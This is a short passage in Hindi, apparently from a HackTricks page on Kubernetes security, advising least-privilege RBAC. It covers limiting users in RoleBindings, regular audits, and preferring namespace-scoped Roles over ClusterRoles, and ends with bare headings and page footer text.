  • चयनात्मक समावेश: सुनिश्चित करें कि केवल आवश्यक उपयोगकर्ता RoleBindings या ClusterRoleBindings में शामिल हैं। नियमित रूप से ऑडिट करें और अप्रासंगिक उपयोगकर्ताओं को हटाएं ताकि सुरक्षा मजबूत बनी रहे।

Namespace-विशिष्ट Roles पर Cluster-Wide Roles

  • Roles बनाम ClusterRoles: ClusterRoles और ClusterRoleBindings के बजाय namespace-specific अनुमतियों के लिए Roles और RoleBindings का उपयोग करना पसंद करें, जो क्लस्टर-व्यापी लागू होते हैं। यह दृष्टिकोण अधिक नियंत्रण प्रदान करता है और अनुमतियों के दायरे को सीमित करता है।

स्वचालित उपकरणों का उपयोग करें

References

Support HackTricks

Last updated